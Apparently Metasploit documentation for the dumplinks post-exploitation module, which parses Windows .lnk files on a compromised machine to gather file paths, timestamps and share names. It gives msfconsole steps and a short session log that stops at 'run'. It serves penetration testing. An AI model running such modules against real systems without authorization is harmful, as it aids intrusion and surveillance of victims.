Vulnerable Application

The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script. This module will parse .lnk files from a user's Recent Documents folder and Microsoft Office's Recent Documents folder, if present. Windows creates these link files automatically for many common file types. The .lnk files contain time stamps, file locations, including share names, volume serial numbers, and more.

Verification Steps

  1. Start msfconsole

  2. Get meterpreter session

  3. Do: use post/windows/gather/dumplinks

  4. Do: set SESSION <session id>

  5. Do: run

Options

SESSION

The session to run the module on.

Scenarios

Windows 7 (6.1 Build 7601, Service Pack 1).

[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49160) at 2019-12-11 15:45:16 -0700

msf > use post/windows/gather/dumplinks
msf post(windows/gather/dumplinks) > set SESSION 1
  SESSION => 1
msf post(windows/gather/dumplinks) > run
